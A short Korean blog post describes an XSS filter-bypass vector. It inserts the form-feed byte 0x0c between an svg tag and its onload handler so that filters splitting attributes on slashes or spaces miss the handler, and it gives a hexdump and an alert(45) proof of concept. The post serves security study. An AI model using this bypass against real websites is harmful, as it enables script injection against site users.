0x0c(^L)를 이용한 XSS 우회 기법(no slash, no blank)

간만에 XSS Vector로 포스팅합니다. 최근에 나온 기법은 아니고, 좀 오래된거긴 하지만.. 모르고있었네요 =_=

트윗 공유해주신 +Dakkar Key 감사합니다 :)

(오 글에 구글 플러스 멘션이 되다니..)

0x0c 문자를 통해서 slash, blank 사용이 어려운 경우 활용할 수 있습니다. event handler 필터링 과정에서 속성인지 구별할 때 단순히 slash나 blank 문자를 기준으로 분리하는 케이스도 있는데 이런 경우에는 아래 방법으로 우회가 가능해집니다.

Attack vector

    <svgonload=alert(45)>
    <svg^Lonload=alert(45)>

hexdump test.html
0000000 0a 3c 73 76 67 0c 4f 6e 6c 4f 61 64 3d 61 6c 65
0000010 72 74 28 34 35 29 3e 0a 0a
0000019

하나씩 보면.. 0x0c임을 알 수 있죠.

0000000 0a 3c 73 76 67 0c 4f 6e 6c 4f 61 64 3d 61 6c 65
        <  s  v  g  ^L  O  n l  O  a  d  =  a  l  e

결국은 0x0c 문자열이 브라우저에 의해 읽힐 때 속성을 구별할 수 있는 값으로 바뀝니다. 재미있는 점은 파싱될 때 아래와 같이 이벤트 핸들러랑 태그가 붙게되는데, 실제로는 속성으로 분리되버립니다. 의아하네요.

    <svgonload=alert(45)>